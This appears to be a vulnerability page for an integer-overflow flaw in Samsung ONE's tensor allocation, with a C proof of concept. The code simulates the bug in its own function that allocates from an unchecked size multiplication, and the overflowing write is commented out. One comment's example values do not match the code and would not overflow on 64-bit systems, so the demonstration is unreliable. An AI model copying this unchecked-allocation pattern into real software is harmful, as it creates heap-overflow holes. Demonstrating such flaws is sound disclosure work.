CVE-2026-40448 Samsung ONE 整数溢出漏洞

/* * PoC for CVE-2026-40448: Integer Overflow in Tensor Allocation * This code demonstrates the logic flaw where size calculation overflows. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> // Simulating the vulnerable function void vulnerable_tensor_alloc(size_t dim1, size_t dim2, size_t element_size) { printf("Allocating tensor: %zux%zu, size: %zu\n", dim1, dim2, element_size); // Vulnerable calculation: dim1 * dim2 * element_size // If inputs are large enough, this multiplication overflows size_t total_size = dim1 * dim2 * element_size; printf("Calculated allocation size: %zu\n", total_size); // Allocating based on the overflowed size (too small) void *buffer = malloc(total_size); if (!buffer) { perror("malloc failed"); return; } // Attempting to fill the buffer with the expected (large) size // This will cause a heap overflow printf("Attempting to write to buffer...\n"); for (size_t i = 0; i < dim1 * dim2; i++) { // ((char*)buffer)[i * element_size] = 0; // Crash would happen here } free(buffer); } int main() { // Inputs designed to trigger integer overflow (e.g., on 32-bit size_t or specific large values) // Example: 0x10000 * 0x10000 * 4 = 0x100000000 -> 0 on 32-bit wrap size_t large_dim = 0x100000; size_t elem_size = 4; vulnerable_tensor_alloc(large_dim, large_dim, elem_size); return 0; }